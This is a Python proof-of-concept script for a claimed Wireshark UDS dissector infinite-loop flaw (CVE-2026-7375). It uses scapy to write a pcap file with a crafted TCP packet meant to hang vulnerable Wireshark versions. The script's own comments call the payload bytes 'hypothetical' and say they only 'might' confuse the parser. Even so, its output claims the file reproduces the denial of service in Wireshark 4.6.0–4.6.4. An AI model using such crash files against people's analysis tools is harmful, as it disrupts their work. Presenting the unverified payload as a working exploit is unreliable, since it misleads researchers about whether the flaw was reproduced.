The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
PoC for CVE-2026-7375 (Wireshark UDS Dissector Infinite Loop DoS)
This script generates a pcap file with a malformed UDS packet structure.
Opening the generated file in vulnerable Wireshark versions triggers the infinite loop.
"""
from scapy.all import *
import sys
def generate_poc(filename):
# Crafting a raw packet that simulates a UDS (ISO-TP on TCP) stream
# Note: The specific byte sequence triggering the loop varies by vulnerability details.
# This payload is structured to potentially confuse length checks in dissectors.
# Hypothetical malformed UDS payload
# 0x22 (ReadDataByIdentifier) followed by data that might confuse the parser loop
malicious_payload = bytes.fromhex("22F1860102030405060708090A0B0C0D0E0F")
# Encapsulate in Ethernet/IP/TCP to simulate a network capture
# Using a common port for diagnostic traffic or raw TCP
ether = Ether(dst="00:11:22:33:44:55", src="66:77:88:99:aa:bb")
ip = IP(src="192.168.1.10", dst="192.168.1.20")
tcp = TCP(sport=50000, dport=13400, flags="PA", seq=1000, ack=2000)
# Assemble the packet
pkt = ether / ip / tcp / Raw(load=malicious_payload)
# Save to pcap
wrpcap(filename, [pkt])
print(f"[+] PoC file '{filename}' generated successfully.")
print(f"[+] Open this file in Wireshark 4.6.0 - 4.6.4 to reproduce the DoS.")
if __name__ == "__main__":
generate_poc("cve_2026_7375_poc.pcap")